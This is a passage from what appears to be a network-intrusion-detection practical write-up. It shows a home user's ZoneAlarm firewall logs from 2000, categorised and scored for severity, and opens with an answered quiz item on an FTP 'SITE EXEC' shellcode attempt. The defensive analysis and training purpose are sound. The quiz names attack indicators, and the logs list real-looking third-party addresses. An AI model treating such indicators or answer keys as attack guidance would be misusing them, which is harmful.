Aug 6 13:31:19 picard ftpd[20914]: FTP session closed
Aug 6 13:31:21 picard tcplog: ftp connection attempt
  from kipo3.dsl.concentric.net
```

a) The large volume of garbage text strings input by the FTP Client
b) The strings “bin” and “sh” near the end of the first two garbage strings
c) The “SITE EXEC” command attempted by the FTP Client
d) All of the above
e) Nothing – this is probably a bad dial-in connection

[Correct Answer: **d**]

1.4 Detect #4: Just another day @home.com …

FWIN, 7/9/00, 15:40:38 -5:00 GMT, 216.2.176.162:109, myhost.home.com:109, TCP
FWIN, 8/12/00, 12:00:46 -5:00 GMT, 211.46.122.121:29220, myhost.home.com:109, TCP
FWIN, 10/25/00, 19:46:36 -5:00 GMT, 202.30.4.73:109, myhost.home.com:109, TCP
FWIN, 7/28/00, 18:28:46 -5:00 GMT, 206.79.171.67:80, myhost.home.com:10903, TCP
FWIN, 8/12/00, 12:00:18 -5:00 GMT, 211.46.122.121:24699, myhost.home.com:110, TCP
FWIN, 8/26/00, 10:26:28 -5:00 GMT, 209.104.36.122:443, myhost.home.com:11090, TCP
FWIN, 5/19/00, 21:42:10 -5:00 GMT, 195.154.202.153:2666, myhost.home.com:111, TCP
FWIN, 6/8/00, 17:45:32 -5:00 GMT, 203.129.242.39:111, myhost.home.com:111, TCP
FWIN, 6/10/00, 11:53:54 -5:00 GMT, 209.222.171.212:111, myhost.home.com:111, TCP
FWIN, 8/25/00, 20:23:48 -5:00 GMT, 141.223.79.68:2372, myhost.home.com:111, TCP
FWIN, 10/14/00, 17:33:08 -5:00 GMT, 192.33.182.176:1713, myhost.home.com:111, TCP
FWIN, 10/26/00, 19:13:48 -5:00 GMT, 63.204.247.108:1631, myhost.home.com:111, TCP
FWIN, 10/29/00, 16:34:42 -5:00 GMT, 210.20.43.35:10101, myhost.home.com:111, TCP
FWIN, 10/29/00, 16:54:56 -5:00 GMT, 12.10.153.73:10101, myhost.home.com:111, TCP
FWIN, 10/29/00, 22:17:52 -5:00 GMT, 192.71.20.155:10101, myhost.home.com:111, TCP
FWIN, 11/15/00, 13:38:26 -5:00 GMT, 216.37.13.180:1975, myhost.home.com:1126, TCP
FWIN, 11/15/00, 13:41:10 -5:00 GMT, 216.37.13.181:1975, myhost.home.com:1128, TCP
FWIN, 11/15/00, 13:29:50 -5:00 GMT, 24.0.0.203:41484, myhost.home.com:119, TCP
FWIN, 9/30/00, 00:28:48 -5:00 GMT, 172.139.16.50:3564, myhost.home.com:1234, TCP
FWIN, 8/12/00, 12:29:16 -5:00 GMT, 203.76.129.48:1928, myhost.home.com:12345, TCP
FWIN, 8/12/00, 22:52:24 -5:00 GMT, 24.222.77.149:1751, myhost.home.com:12345, TCP
FWIN, 8/12/00, 23:01:44 -5:00 GMT, 24.132.78.62:4668, myhost.home.com:12345, TCP
FWIN, 8/13/00, 16:40:44 -5:00 GMT, 24.108.20.226:3005, myhost.home.com:12345, TCP
FWIN, 10/6/00, 20:53:12 -5:00 GMT, 210.221.246.19:1183, myhost.home.com:12345, TCP
FWIN, 10/8/00, 13:05:02 -5:00 GMT, 211.33.111.237:1256, myhost.home.com:12345, TCP
FWIN, 10/8/00, 14:38:38 -5:00 GMT, 216.78.142.63:3937, myhost.home.com:12345, TCP
FWIN, 10/8/00, 18:44:00 -5:00 GMT, 211.37.41.228:1380, myhost.home.com:12345, TCP
FWIN, 10/8/00, 18:59:22 -5:00 GMT, 63.110.120.165:3338, myhost.home.com:12345, TCP
FWIN, 10/8/00, 21:06:30 -5:00 GMT, 211.61.38.216:1969, myhost.home.com:12345, TCP
FWIN, 7/15/00, 11:45:10 -5:00 GMT, 24.23.131.40:4921, myhost.home.com:1243, TCP
FWIN, 8/12/00, 13:33:34 -5:00 GMT, 24.14.252.68:3219, myhost.home.com:1243, TCP
FWIN, 9/23/00, 15:51:18 -5:00 GMT, 24.23.179.31:3523, myhost.home.com:1243, TCP
FWIN, 10/5/00, 20:52:52 -5:00 GMT, 24.168.227.42:2907, myhost.home.com:1243, TCP
FWIN, 10/8/00, 17:22:28 -5:00 GMT, 24.11.193.86:4304, myhost.home.com:1243, TCP
FWIN, 11/6/00, 22:18:04 -5:00 GMT, 24.20.194.41:2951, myhost.home.com:1243, TCP
FWIN, 9/29/00, 23:21:36 -5:00 GMT, 199.172.146.194:80, myhost.home.com:1285, TCP
FWIN, 10/25/00, 18:21:32 -5:00 GMT, 208.223.206.69:80, myhost.home.com:13229, TCP
FWIN, 8/12/00, 11:56:12 -5:00 GMT, 208.178.169.53:80, myhost.home.com:13280, TCP
FWIN, 8/12/00, 11:54:08 -5:00 GMT, 208.178.169.53:80, myhost.home.com:13777, TCP
FWIN, 9/25/00, 01:56:56 -5:00 GMT, 206.41.20.84:80, myhost.home.com:14118, TCP
FWIN, 10/25/00, 18:21:26 -5:00 GMT, 208.223.206.117:80, myhost.home.com:15508, TCP
FWIN, 10/25/00, 18:24:14 -5:00 GMT, 208.223.206.72:80, myhost.home.com:16018, TCP
FWIN, 10/8/00, 18:42:18 -5:00 GMT, 24.42.219.164:2406, myhost.home.com:20139, TCP
FWIN, 10/29/00, 20:18:42 -5:00 GMT, 24.216.4.177:1872, myhost.home.com:20139, TCP
FWIN, 9/29/00, 23:53:10 -5:00 GMT, 204.162.96.81:80, myhost.home.com:2056, TCP
FWIN, 10/25/00, 18:25:24 -5:00 GMT, 208.223.206.67:80, myhost.home.com:20891, TCP
FWIN, 7/4/00, 13:38:54 -5:00 GMT, 212.159.130.38:3695, myhost.home.com:21, TCP
FWIN, 7/7/00, 21:54:28 -5:00 GMT, 24.11.182.143:2212, myhost.home.com:21, TCP
FWIN, 7/9/00, 19:33:20 -5:00 GMT, 209.54.151.13:2157, myhost.home.com:21, TCP
FWIN, 7/27/00, 21:40:28 -5:00 GMT, 24.14.36.90:3622, myhost.home.com:21, TCP
FWIN, 8/5/00, 18:32:20 -5:00 GMT, 208.37.215.123:21, myhost.home.com:21, TCP
FWIN, 8/6/00, 16:53:52 -5:00 GMT, 212.170.19.199:1784, myhost.home.com:21, TCP
FWIN, 8/16/00, 18:23:04 -5:00 GMT, 166.114.39.145:63668, myhost.home.com:21, TCP
FWIN, 8/26/00, 17:21:06 -5:00 GMT, 195.224.163.226:4307, myhost.home.com:21, TCP
FWIN, 9/3/00, 20:50:42 -5:00 GMT, 195.154.203.145:1697, myhost.home.com:21, TCP
FWIN, 9/16/00, 22:35:40 -5:00 GMT, 62.180.221.112:4328, myhost.home.com:21, TCP
FWIN, 9/18/00, 20:41:06 -5:00 GMT, 24.91.59.156:4092, myhost.home.com:21, TCP
FWIN, 9/20/00, 20:52:08 -5:00 GMT, 24.23.52.132:21, myhost.home.com:21, TCP
FWIN, 9/24/00, 20:02:24 -5:00 GMT, 195.34.147.234:4834, myhost.home.com:21, TCP
FWIN, 10/8/00, 15:36:30 -5:00 GMT, 203.63.54.226:4379, myhost.home.com:21, TCP
FWIN, 10/8/00, 21:19:16 -5:00 GMT, 206.212.47.168:4450, myhost.home.com:21, TCP
FWIN, 10/14/00, 13:39:02 -5:00 GMT, 24.9.84.147:1152, myhost.home.com:21, TCP
FWIN, 10/21/00, 19:00:20 -5:00 GMT, 62.227.201.120:4840, myhost.home.com:21, TCP
FWIN, 6/23/00, 17:23:54 -5:00 GMT, 24.23.73.173:3010, myhost.home.com:22, UDP
FWIN, 9/19/00, 22:14:18 -5:00 GMT, 24.23.73.18:1065, myhost.home.com:22, UDP
FWIN, 9/19/00, 22:14:50 -5:00 GMT, 24.23.73.18:1072, myhost.home.com:22, UDP
FWIN, 9/19/00, 22:15:22 -5:00 GMT, 24.23.73.18:1077, myhost.home.com:22, UDP
FWIN, 9/19/00, 22:15:56 -5:00 GMT, 24.23.73.18:1082, myhost.home.com:22, UDP
FWIN, 9/19/00, 22:16:32 -5:00 GMT, 24.23.73.18:1087, myhost.home.com:22, UDP
FWIN, 9/19/00, 22:17:06 -5:00 GMT, 24.23.73.18:1092, myhost.home.com:22, UDP
FWIN, 9/19/00, 22:17:58 -5:00 GMT, 24.23.73.18:1097, myhost.home.com:22, UDP
FWIN, 9/19/00, 22:27:26 -5:00 GMT, 24.23.73.18:1054, myhost.home.com:22, UDP
FWIN, 9/19/00, 22:28:04 -5:00 GMT, 24.23.73.18:1063, myhost.home.com:22, UDP
FWIN, 9/19/00, 22:28:28 -5:00 GMT, 24.23.73.18:1068, myhost.home.com:22, UDP
FWIN, 9/19/00, 22:28:50 -5:00 GMT, 24.23.73.18:1073, myhost.home.com:22, UDP
FWIN, 9/19/00, 22:29:06 -5:00 GMT, 24.23.73.18:1078, myhost.home.com:22, UDP
FWIN, 9/19/00, 22:29:20 -5:00 GMT, 24.23.73.18:1083, myhost.home.com:22, UDP
FWIN, 9/19/00, 22:30:02 -5:00 GMT, 24.23.73.18:1088, myhost.home.com:22, UDP
FWIN, 9/19/00, 22:30:18 -5:00 GMT, 24.23.73.18:1093, myhost.home.com:22, UDP
FWIN, 9/19/00, 22:30:54 -5:00 GMT, 24.23.73.18:1099, myhost.home.com:22, UDP
FWIN, 9/19/00, 22:31:20 -5:00 GMT, 24.23.73.18:1104, myhost.home.com:22, UDP
FWIN, 9/19/00, 22:32:02 -5:00 GMT, 24.23.73.18:1109, myhost.home.com:22, UDP
FWIN, 6/13/00, 23:53:02 -5:00 GMT, 4.23.70.245:4197, myhost.home.com:23, TCP
FWIN, 10/14/00, 13:40:50 -5:00 GMT, 208.191.223.169:23, myhost.home.com:23, TCP
FWIN, 8/14/00, 20:19:30 -5:00 GMT, 206.79.171.85:80, myhost.home.com:23512, TCP
FWIN, 8/13/00, 18:09:28 -5:00 GMT, 213.188.25.2:10622, myhost.home.com:27069, TCP
FWIN, 5/21/00, 18:29:04 -5:00 GMT, 24.64.243.2:3347, myhost.home.com:27374, TCP
FWIN, 5/21/00, 18:43:04 -5:00 GMT, 24.64.243.2:3281, myhost.home.com:27374, TCP
FWIN, 6/5/00, 22:22:22 -5:00 GMT, 24.214.20.141:4324, myhost.home.com:27374, TCP
FWIN, 6/23/00, 22:46:10 -5:00 GMT, 62.6.94.115:3329, myhost.home.com:27374, TCP
FWIN, 6/25/00, 10:38:02 -5:00 GMT, 24.95.54.211:4075, myhost.home.com:27374, TCP
FWIN, 7/2/00, 09:47:06 -5:00 GMT, 24.161.48.194:4307, myhost.home.com:27374, TCP
FWIN, 7/4/00, 15:31:04 -5:00 GMT, 206.97.109.106:3993, myhost.home.com:27374, TCP
FWIN, 7/7/00, 19:02:26 -5:00 GMT, 24.23.28.120:3819, myhost.home.com:27374, TCP
FWIN, 7/15/00, 12:20:14 -5:00 GMT, 4.16.34.136:4753, myhost.home.com:27374, TCP
FWIN, 7/28/00, 22:16:32 -5:00 GMT, 172.155.87.24:1328, myhost.home.com:27374, TCP
FWIN, 8/5/00, 14:33:34 -5:00 GMT, 194.186.233.10:27374, myhost.home.com:27374, TCP
FWIN, 8/8/00, 10:44:34 -5:00 GMT, 216.225.80.204:2264, myhost.home.com:27374, TCP
FWIN, 8/8/00, 11:02:42 -5:00 GMT, 216.225.80.204:2879, myhost.home.com:27374, TCP
FWIN, 8/8/00, 22:28:02 -5:00 GMT, 24.26.171.120:2838, myhost.home.com:27374, TCP
FWIN, 8/12/00, 23:03:28 -5:00 GMT, 24.19.29.8:4527, myhost.home.com:27374, TCP
FWIN, 8/13/00, 15:11:24 -5:00 GMT, 24.29.173.105:4270, myhost.home.com:27374, TCP
FWIN, 8/13/00, 18:16:48 -5:00 GMT, 24.22.42.41:3858, myhost.home.com:27374, TCP
FWIN, 8/14/00, 07:42:02 -5:00 GMT, 216.225.80.53:3137, myhost.home.com:27374, TCP
FWIN, 8/20/00, 22:08:20 -5:00 GMT, 24.22.230.73:2747, myhost.home.com:27374, TCP
FWIN, 8/26/00, 14:13:58 -5:00 GMT, 216.209.235.24:2204, myhost.home.com:27374, TCP
FWIN, 8/26/00, 15:23:10 -5:00 GMT, 24.18.115.163:4561, myhost.home.com:27374, TCP
FWIN, 9/8/00, 19:39:50 -5:00 GMT, 24.12.30.125:3142, myhost.home.com:27374, TCP
FWIN, 9/11/00, 20:43:04 -5:00 GMT, 24.218.93.38:2782, myhost.home.com:27374, TCP
FWIN, 10/4/00, 00:15:02 -5:00 GMT, 24.18.17.191:4244, myhost.home.com:27374, TCP
FWIN, 10/10/00, 17:31:14 -5:00 GMT, 63.95.64.224:4199, myhost.home.com:27374, TCP
FWIN, 10/19/00, 22:06:00 -5:00 GMT, 24.71.3.200:4145, myhost.home.com:27374, TCP
FWIN, 10/21/00, 12:30:20 -5:00 GMT, 24.18.82.62:1984, myhost.home.com:27374, TCP
FWIN, 10/22/00, 17:27:44 -5:00 GMT, 193.83.77.195:1085, myhost.home.com:27374, TCP
FWIN, 10/29/00, 21:17:08 -5:00 GMT, 24.19.146.101:1186, myhost.home.com:27374, TCP
FWIN, 11/10/00, 11:13:54 -5:00 GMT, 208.61.122.120:4051, myhost.home.com:27374, TCP
FWIN, 8/19/00, 20:26:06 -5:00 GMT, 207.137.47.137:28432, myhost.home.com:28431, UDP
FWIN, 8/21/00, 20:32:42 -5:00 GMT, 207.137.47.137:28432, myhost.home.com:28431, UDP
FWIN, 10/9/00, 18:25:32 -5:00 GMT, 207.46.230.219:80, myhost.home.com:3072, TCP
FWIN, 9/30/00, 23:51:52 -5:00 GMT, 206.105.237.36:80, myhost.home.com:3118, TCP
FWIN, 9/30/00, 23:51:56 -5:00 GMT, 206.105.237.36:80, myhost.home.com:3125, TCP
FWIN, 8/16/00, 21:29:50 -5:00 GMT, 63.10.61.106:1138, myhost.home.com:31337, UDP
FWIN, 8/28/00, 20:20:04 -5:00 GMT, 24.218.72.137:1558, myhost.home.com:31337, UDP
FWIN, 6/23/00, 08:55:10 -5:00 GMT, 12.26.137.73:2756, myhost.home.com:4045, TCP
FWIN, 7/9/00, 20:50:56 -5:00 GMT, 64.41.202.80:80, myhost.home.com:4455, TCP
FWIN, 7/9/00, 20:47:56 -5:00 GMT, 216.52.13.30:80, myhost.home.com:4797, TCP
FWIN, 7/9/00, 20:34:42 -5:00 GMT, 206.239.85.197:43090, myhost.home.com:49760, TCP
FWIN, 11/14/00, 17:17:44 -5:00 GMT, 203.85.84.188:2393, myhost.home.com:515, TCP
FWIN, 5/27/00, 22:23:22 -5:00 GMT, 24.14.151.181:4592, myhost.home.com:53, TCP
FWIN, 5/27/00, 22:49:32 -5:00 GMT, 24.14.151.181:2349, myhost.home.com:53, TCP
FWIN, 5/27/00, 23:01:04 -5:00 GMT, 24.14.151.181:4072, myhost.home.com:53, TCP
FWIN, 6/7/00, 22:01:40 -5:00 GMT, 206.225.55.66:3591, myhost.home.com:53, TCP
FWIN, 6/10/00, 14:02:58 -5:00 GMT, 209.222.171.212:53, myhost.home.com:53, TCP
FWIN, 6/11/00, 11:16:50 -5:00 GMT, 164.164.23.5:29412, myhost.home.com:53, TCP
FWIN, 6/24/00, 11:30:20 -5:00 GMT, 203.197.144.137:53, myhost.home.com:53, TCP
FWIN, 8/7/00, 20:41:58 -5:00 GMT, 208.171.98.178:3928, myhost.home.com:53, TCP
FWIN, 6/23/00, 17:23:54 -5:00 GMT, 24.23.73.173:3010, myhost.home.com:5632, UDP
FWIN, 9/19/00, 22:14:50 -5:00 GMT, 24.23.73.18:1072, myhost.home.com:5632, UDP
FWIN, 9/19/00, 22:15:22 -5:00 GMT, 24.23.73.18:1077, myhost.home.com:5632, UDP
FWIN, 9/19/00, 22:15:56 -5:00 GMT, 24.23.73.18:1082, myhost.home.com:5632, UDP
FWIN, 9/19/00, 22:16:32 -5:00 GMT, 24.23.73.18:1087, myhost.home.com:5632, UDP
FWIN, 9/19/00, 22:17:06 -5:00 GMT, 24.23.73.18:1092, myhost.home.com:5632, UDP
FWIN, 9/19/00, 22:17:58 -5:00 GMT, 24.23.73.18:1097, myhost.home.com:5632, UDP
FWIN, 9/19/00, 22:28:04 -5:00 GMT, 24.23.73.18:1063, myhost.home.com:5632, UDP
FWIN, 9/19/00, 22:28:28 -5:00 GMT, 24.23.73.18:1068, myhost.home.com:5632, UDP
FWIN, 9/19/00, 22:28:50 -5:00 GMT, 24.23.73.18:1073, myhost.home.com:5632, UDP
FWIN, 9/19/00, 22:29:06 -5:00 GMT, 24.23.73.18:1078, myhost.home.com:5632, UDP
FWIN, 9/19/00, 22:29:20 -5:00 GMT, 24.23.73.18:1083, myhost.home.com:5632, UDP
FWIN, 9/19/00, 22:30:02 -5:00 GMT, 24.23.73.18:1088, myhost.home.com:5632, UDP
FWIN, 9/19/00, 22:30:18 -5:00 GMT, 24.23.73.18:1093, myhost.home.com:5632, UDP
FWIN, 9/19/00, 22:30:54 -5:00 GMT, 24.23.73.18:1099, myhost.home.com:5632, UDP
FWIN, 9/19/00, 22:31:20 -5:00 GMT, 24.23.73.18:1104, myhost.home.com:5632, UDP
FWIN, 9/19/00, 22:32:02 -5:00 GMT, 24.23.73.18:1109, myhost.home.com:5632, UDP
FWIN, 7/18/00, 08:03:56 -5:00 GMT, 206.41.20.67:80, myhost.home.com:5647, TCP
FWIN, 6/17/00, 23:09:10 -5:00 GMT, 204.83.184.210:4625, myhost.home.com:635, TCP
FWIN, 9/18/00, 18:06:44 -5:00 GMT, 24.17.10.116:4169, myhost.home.com:6667, TCP
FWIN, 9/23/00, 16:32:56 -5:00 GMT, 24.23.179.31:3801, myhost.home.com:6667, TCP
FWIN, 10/3/00, 23:58:16 -5:00 GMT, 216.6.3.56:80, myhost.home.com:6735, TCP
FWIN, 6/13/00, 23:33:50 -5:00 GMT, 209.83.166.184:59197, myhost.home.com:6970, UDP
FWIN, 9/17/00, 20:06:24 -5:00 GMT, 128.248.155.70:8030, myhost.home.com:6970, UDP

FWIN, 10/1/00, 00:20:02 -5:00 GMT, 209.67.78.209:4658, myhost.home.com:6970, UDP
FWIN, 10/10/00, 22:08:36 -5:00 GMT, 63.160.170.51:18306, myhost.home.com:6970, UDP
FWIN, 10/10/00, 22:16:40 -5:00 GMT, 63.160.170.52:31774, myhost.home.com:6970, UDP
FWIN, 9/29/00, 23:26:40 -5:00 GMT, 194.151.166.50:20518, myhost.home.com:6971, UDP
FWIN, 10/3/00, 23:58:18 -5:00 GMT, 216.6.3.56:80, myhost.home.com:7456, TCP
FWIN, 6/17/00, 00:25:42 -5:00 GMT, 202.235.50.12:65535, myhost.home.com:8080, TCP
FWIN, 6/9/00, 19:39:12 -5:00 GMT, 202.101.18.178:2188, myhost.home.com:98, TCP
FWIN, 6/17/00, 22:19:22 -5:00 GMT, 210.95.93.253:2254, myhost.home.com:98, TCP
FWIN, 8/8/00, 19:27:50 -5:00 GMT, 202.108.255.177:2260, myhost.home.com:98, TCP

1.4.1 Source of the Trace

These are log entries from the personal firewall I have installed on my home PC, which has a direct cable modem connection to my ISP, Home.com.

1.4.2 Detect was generated by:

This detect was generated by ZoneAlarm v2.1.25. It contains all log entries from the time I installed it on my MS Windows 98 machine (5/16/00) until now. My rule set allows no inbound connections of any kind without real-time confirmation from the person at the keyboard. ZoneAlarm pops-up an "Allow/Disallow" dialog box every time an inbound connection was attempted.

Also note that the computer is not on 24x7. We only turn it on when we use it, so you're only going to see detects at times when a family computer is normally being used: evenings and weekends.

ZoneAlarm logs all blocked traffic, inbound and out. Only the inbound-triggered detects are listed above. I have removed out all the outbound log entries. I have also removed the 300+ entries generated by the following two nodes over the last 6 months:

- authorized-scan.security.home.net (24.0.94.130)
- authorized-scan1.security.home.net (24.0.0.203)

These are "security scanners" operated by home.com that hit my machine between 2 and 5 times per day, every 1 to 3 days. These probes appear as a scan for nntp (TCP 119):

```
FWIN,2000/06/07,21:11:50 -5:00 GMT,24.0.94.130:49455,24.23.73.94:119,TCP
```

The outbound log entries are typically generated by "spyware" – programs you've installed on your computer that covertly send information back to their masters. These are usually things that simply invade your privacy, like app use info, software checking if there's an update to itself available, licensing info, what web sites you visit, what other apps you have installed, etc. This info is used to build marketing databases and get you to buy things. Occasionally, more serious info is communicated without your knowledge, like Microsoft collecting your IP address. Most importantly, outbound traffic due to Trojans and DDoS tools is blocked and logged (unless explicitly permitted by ZoneAlarm configuration.)

The fields in the ZoneAlarm log entries are:

```
FWIN, 8/8/00, 19:27:50 -5:00 GMT, 202.108.255.177:2260, myhost.home.com:98, TCP
```

- `FWIN` (FireWall IN) indicates that the traffic was blocked inbound from the Internet
- Date (`8/8/00`)
- Time and time zone (`19:27:50 -5:00 GMT`)
- Source IP Address and Port (`202.108.255.177:2260`)
- Destination IP Address and Port (`myhost.home.com:98`)
- Transport layer protocol encapsulated in this IP packet (`TCP`)

1.4.3 Probability the Source Address was Spoofed
1.4.4 Description of the Attack
1.4.5 Attack Mechanism
1.4.6 Correlations
1.4.7 Evidence of Active Targeting
1.4.8 Severity

ASSIGNMENT 1 Network Detect

In this section, I will segregate the individual detects into groups of interest, and perform the required evaluations on each group.

Category A: Innocuous Pings

Spoofed? Probably not
Description: Fairly innocuous pings. Could be part of a scan or some other type of reconnaissance, but as a lone node, I saw no further incursion
Mechanism: n/a
Correlations: n/a
Active Targeting? No
Severity: (Criticality + Lethality) – (System Countermeasures + Network Countermeasures)

Criticality: 5 – This is my one and only machine!
Lethality: 1 – They now know I'm here.
System Countermeasures: 3 – I'm a Windows box
Network Countermeasures: 5 – ZoneAlarm saved the day

Severity = (5 + 1) – (3 + 5) = 6 – 8 = – 2

Type Date Time	Source IP Address (hostname) -> Destination host	Transport SrcPort -> DstPort	Service/ Attack	Interesting Details
FWIN 5/17/00 20:57:32 -5:00 GMT	207.155.117.2 (vortex.kickmedia.com) -> myhost.home.com	ICMP 0 -> 0	Ping	Internet Media Publishing Company
FWIN 5/17/00 20:57:34 -5:00 GMT	24.15.14.57 (c1034593-a.roalok1.mi.home.com) -> myhost.home.com	ICMP 0 -> 0	Ping	Home.com guy pinging me in the summertime
FWIN 5/20/00 09:03:36 -5:00 GMT	24.15.14.57 (c1034593-a.roalok1.mi.home.com) -> myhost.home.com	ICMP 0 -> 0		
FWIN 6/1/00 23:06:40 -5:00 GMT	24.15.14.57 (c1034593-a.roalok1.mi.home.com) -> myhost.home.com	ICMP 0 -> 0		
FWIN 5/17/00 21:04:42 -5:00 GMT	24.4.213.58 (cg837367-a.adubn1.nj.home.com) -> myhost.home.com	ICMP 0 -> 0	Ping	Home.com
FWIN 6/1/00 23:11:10 -5:00 GMT	216.141.73.83 (vport83.totalaccess.net) -> myhost.home.com	ICMP 0 -> 0	Ping	From home ISP
FWIN 6/5/00 21:12:52 -5:00 GMT	24.23.73.70 (cg23050-a.adubn1.nj.home.com) -> myhost.home.com	ICMP 0 -> 0	Ping	Another Homey pinging me in the summertime
FWIN 6/14/00 19:57:26 -5:00 GMT	24.23.73.70 (cg23050-a.adubn1.nj.home.com) -> myhost.home.com	ICMP 0 -> 0		
FWIN 6/14/00 21:50:56 -5:00 GMT	24.23.73.70 (cg23050-a.adubn1.nj.home.com) -> myhost.home.com	ICMP 0 -> 0		
FWIN 6/19/00 19:50:54 -5:00 GMT	24.23.73.70 (cg23050-a.adubn1.nj.home.com) -> myhost.home.com	ICMP 0 -> 0		

Type Date Time	Source IP Address (hostname) -> Destination host	Transport SrcPort -> DstPort	Service/ Attack	Interesting Details
FWIN 6/27/00 19:29:44 -5:00 GMT	24.2.30.87 (ci52104-a.gmvle1.sc.home.com) -> myhost.home.com	ICMP 0 -> 0	Ping	Home.com
FWIN 6/27/00 21:43:18 -5:00 GMT	24.23.71.2 (cg336017-b.adubn1.nj.home.com) -> myhost.home.com	ICMP 0 -> 0	Ping	Home.com
FWIN 7/14/00 20:16:50 -5:00 GMT	24.23.149.7 (cx496861-g.york1.va.home.com) -> myhost.home.com	ICMP 0 -> 0	Ping	Home.com
FWIN 7/28/00 21:19:58 -5:00 GMT	24.141.173.34 (d141-173-34.home.cgocable.net) -> myhost.home.com	ICMP 0 -> 0	Ping	From home ISP
FWIN 8/15/00 19:01:38 -5:00 GMT	209.0.227.22 (-- nslookup failed --) -> myhost.home.com	ICMP 0 -> 0	Ping	Destination Net Unreachable on 11/18/00
FWIN 8/16/00 21:34:38 -5:00 GMT	24.27.74.104 (cs2774-104.houston.rr.com) -> myhost.home.com	ICMP 0 -> 0	Ping	RoadRunner - US-based-ISP
FWIN 8/22/00 21:29:12 -5:00 GMT	212.41.32.47 (user32-47.jakinternet.co.uk) -> myhost.home.com	ICMP 0 -> 0	Ping	Appears to be UK-based ISP
FWIN 8/26/00 17:09:32 -5:00 GMT	172.155.27.107 (AC9B1B6B.ipt.aol.com) -> myhost.home.com	ICMP 0 -> 0	Ping	From AOL.com
FWIN 9/2/00 20:07:32 -5:00 GMT	192.107.43.6 (acdc.tesc.edu) -> myhost.home.com	ICMP 0 -> 0	Ping	Appears to be from the main web server of Thomas Edison College, Trenton, NJ
FWIN 9/6/00 10:18:30 -5:00 GMT FWIN 9/6/00 10:21:30 -5:00 GMT	206.191.69.149 (-- nslookup failed --) -> myhost.home.com 206.191.69.149 (-- nslookup failed --) -> myhost.home.com	ICMP 0 -> 0 ICMP 0 -> 0	Ping	Not pingable or traceable on 11/18/00 A 2-packet detect
FWIN 9/6/00 19:49:24 -5:00 GMT	63.207.153.62 (edge2-p5-3.lsan03.pbi.net) -> myhost.home.com	ICMP 0 -> 0	Ping	PacBell ISP
FWIN 9/23/00 20:14:32 -5:00 GMT	200.43.170.29 (h200043170029.ssd.net.ar) -> myhost.home.com	ICMP 0 -> 0	Ping	Source address from Argentina Destination Net Unreachable on 11/18/00
FWIN 10/20/00 20:17:28 -5:00 GMT	206.132.110.194 (pos4-0-2488M.br2.SFO1.gblx.net) -> myhost.home.com	ICMP 0 -> 0	Ping	Internet-based Services Provider
FWIN 10/21/00 18:21:18 -5:00 GMT	209.245.88.97 (POS6-0.hsa1.lax1.level3.net) -> myhost.home.com	ICMP 0 -> 0	Ping	Level3 Communications - an International Internet Service Provider
FWIN 11/15/00 13:13:32 -5:00 GMT	24.0.24.179 (ops-pc-24-0-24-179.custops.home.net) -> myhost.home.com	ICMP 0 -> 0	Ping	From home ISP

Category B: Lost Web Packets?

Spoofed? Probably not

ASSIGNMENT 1 Network Detect

Description: Unrequested packets from source port 80 to what appears to be an ephemeral port on the local host. Could be part of a scan or some other type of reconnaissance, but again, as a lone node, I saw no further incursion.
Mechanism: None apparent
Correlations: (embedded)
Active Targeting? No. Many of these detects occurred at times my family was likely to surf the net, so they are probably (mostly) lost web packets, or traffic triggered by some other website we were visiting.
Severity: (Criticality + Lethality) – (System Countermeasures + Network Countermeasures)

Criticality: 5 – This is my one and only machine!
Lethality: 1 – I have no services running on those ports, but they now know I'm here (a ping would've been just as effective)
System Countermeasures: 3 – I'm a Windows box, but I'm not running services on these ports
Network Countermeasures: 5 – ZoneAlarm saved the day again

Severity = (5 + 1) – (3 + 5) = 6 – 8 = – 2

Type Date Time	Source IP Address (hostname) -> Destination host	Transport SrcPort -> DstPort	Service/ Attack	Interesting Details & Correlations
FWIN 7/9/00 20:50:56 -5:00 GMT	64.41.202.80 (-- nslookup failed --) -> myhost.home.com	TCP 80 -> 4455	Unknown	No web server on Port 80 on 11/18/00 IP Add block registered to Exodus. net. Correlations: None Found, but kinda close in time to the next detect
FWIN 7/9/00 20:47:56 -5:00 GMT	216.52.13.30 (rabbit.adknowledge.com) -> myhost.home.com	TCP 80 -> 4797	Unknown	No web server on Port 80 on 11/18/00. IP Add block registered to InterNAP Network Services. Correlations: None Found, but kinda close in time to the next detect
FWIN 7/28/00 18:28:46 -5:00 GMT	206.79.171.67 (sjc-fe6-1.sjc.lycos.com) -> myhost.home.com	TCP 80 -> 10903	Unknown	Lycos Web server? Correlations: None Found
FWIN 8/14/00 20:19:30 -5:00 GMT	206.79.171.85 (sjc-fe9-1.sjc.lycos.com) -> myhost.home.com	TCP 80 -> 23512	Unknown	This is a Lycos Web server Correlations: None Found
FWIN 8/26/00 10:26:28 -5:00 GMT	209.104.36.122 (-- nslookup failed --) -> myhost.home.com	TCP 443 -> 11090	Unknown	From Ticketmaster Online, from https port. Correlations: We were probably buying tickets on the web around this date…
FWIN 9/29/00 23:21:36 -5:00 GMT	199.172.146.194 (tequila-rwcwww.excite.com) -> myhost.home.com	TCP 80 -> 1285	Unknown	From Excite.com. Correlations: Somewhat close in time to the next detect
FWIN 9/29/00 23:53:10 -5:00 GMT	204.162.96.81 (cca26051.infoseek.com) -> myhost.home.com	TCP 80 -> 2056	Unknown	Correlations: Somewhat close in time to the previous detect
FWIN 10/9/00 18:25:32 -5:00 GMT	207.46.230.219 (microsoft.com) -> myhost.home.com	TCP 80 -> 3072	Unknown	One of Microsoft's Home Web servers Correlations: None Found
FWIN 10/25/00 18:25:24 -5:00 GMT FWIN 10/25/00 18:21:32 -5:00 GMT	208.223.206.67 (-- nslookup failed --) -> myhost.home.com 208.223.206.69 (-- nslookup failed --) -> myhost.home.com	TCP 80 -> 20891 TCP 80 -> 13229	Unknown Unknown	No web server on Port 80 at either address on 11/18/00. IP Add block registered to Web Media Ventures. Correlations: None Found
FWIN 7/18/00 08:03:56 -5:00 GMT	206.41.20.67 (-- nslookup failed --) -> myhost.home.com	TCP 80 -> 5647	Unknown	All of these node show a web page with the lone text "Matchlogic Test Server". www.matchlogic.com turns out to be the website

Type Date Time	Source IP Address (hostname) -> Destination host	Transport SrcPort -> DstPort	Service/ Attack	Interesting Details & Correlations
				of an internet marketing company
FWIN 8/12/00 11:56:12 -5:00 GMT	208.178.169.53 (-- nslookup failed --) -> myhost.home.com	TCP 80 -> 13280	Unknown	Correlation: They could be scanning me every so often. But what's more likely is that some (other) website I visited triggered this. It may have been
